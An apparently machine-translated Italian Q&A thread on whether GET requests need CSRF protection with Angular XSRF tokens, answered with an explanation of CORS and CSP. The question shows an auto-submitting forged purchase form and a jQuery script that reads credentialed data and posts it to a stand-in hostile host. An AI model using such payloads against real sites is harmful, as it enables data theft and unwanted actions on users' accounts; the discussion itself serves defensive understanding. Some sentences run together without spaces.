La protezione CSRF è necessaria per le richieste GET

2

Ho un'API REST che consente agli utenti autenticati di leggere i dati sul proprio account e apportare modifiche ai propri account. Per l'autenticazione, utilizzo JWT memorizzati come cookie httpOnly. Per proteggersi dagli attacchi CSRF, l'API REST fornisce anche al client ciò che Angular chiama "token XSRF".

Il metodo di protezione CSRF di Angular consiste nel prendere il token XSRF che l'API crea e re-inviarlo all'API con ogni richiesta in un'intestazione "X-XSRF-Token". Dipende dalla tua API per determinare se consentire la richiesta o meno. Uno script in esecuzione su un sito Web ostile non avrebbe accesso al token XSRF e quindi non sarebbe in grado di inviarlo insieme a eventuali richieste CSRF.

Quando ho implementato le mie richieste front-end in Angular utilizzando HttpClient, ho notato che HttpXsrfInterceptor non invia l'intestazione X-XSRF-Token con richieste GET e HEAD.

Dai pareri che ho letto online, la protezione CSRF non è necessaria per le richieste GET perché non (o non dovrebbero) modificare alcun dato. Il massimo che un attacco CSRF potrebbe fare con una richiesta GET è che l'API REST invia dati sensibili al browser web dell'utente. Il sito Web ostile non sarebbe in grado di vedere quei dati.

Esempio 1: CSRF GET

Se un sito Web ostile tenta di emettere una richiesta GET CSRF come questa:

<img src="https://example.com/sensitiveData">

quindiidatisensibilivengonotrasmessidall'APIalbrowserWebdell'utente,mailsitoWebostilenonpuòvedereidati,quindituttovabene.

Esempio2:CSRFPOST

SeunsitoWebostiletentadiemettereunarichiestaPOSTCSRFcomequesta:

<bodyonLoad="document.forms[0].submit()">
<form method="post" action="https://example.com/purchase">
  <input type="hidden" name="itemId" value="34873847">
  <input type="submit" value="View Kittens">
</form>
...

quindi il sito Web ostile non vedrebbe ancora alcun dato, ma potrebbe causare danni all'utente. Se l'API richiede che sia presente l'intestazione X-XSRF-Token, questo attacco non può avere successo.

Esempio 3: CSRF OTTIENI via Ajax

Ma cosa succede se il sito Web ostile costringe il browser a fare una richiesta GET come questa:

<script>
$.ajax('https://example.com/sensitiveData', {
  xhrFields: {
    withCredentials: true,
  },
}).done((sensitiveData) => {
  $.ajax('https://evilwebsite/logData', {
    method: 'post',
    data: sensitiveData,
  }).done(() => {
    console.log('I stole your data', sensitiveData)
  });
});
</script>

Alcune politiche CORS lo fermerebbero, ma altre politiche CORS permetteranno comunque che ciò accada.

Sembra che richiedere la protezione CSRF sulle richieste GET attenuerebbe questa vulnerabilità.

Mi manca qualcosa di importante?

    
posta Dave 17.08.2018 - 17:06
fonte

1 risposta

2

Sei corretto al 100% su tutto nella tua introduzione e negli esempi 1 e 2.

Per quanto riguarda l'esempio 3, CORS eseguirà un kick-in e bloccherà lo script dal ricevere il risultato da example.com . L'unico modo in cui il dato JavaScript può leggere la risposta e inviarlo a evil.com è se si verifica una delle seguenti condizioni:

  1. Questo script è in esecuzione su un dominio che example.com ha autorizzato in modo esplicito tramite le intestazioni CORS e gli ha dato il permesso di utilizzare le credenziali
  2. Lo script è in esecuzione direttamente su example.com (nel qual caso sei caduto vittima di un attacco XSS, che è un problema serio).

Anche in caso di # 2 sopra puoi impedire che i dati vengano trasferiti a evil.com con un solido CSP (vale la pena di essere un Google se non hai familiarità).

In breve: questo è esattamente il tipo di attacco che CORS è progettato per proteggere contro. Salvo quanto sopra, il CORS dovrebbe bloccare la risposta in tutti i casi. Quindi, a meno che tu non abbia un esempio specifico in cui ritieni che CORS non si applichi, credo che la tua asserzione che CORS potrebbe consentire tali richieste non è corretta.

    
risposta data 17.08.2018 - 18:29
fonte

Leggi altre domande sui tag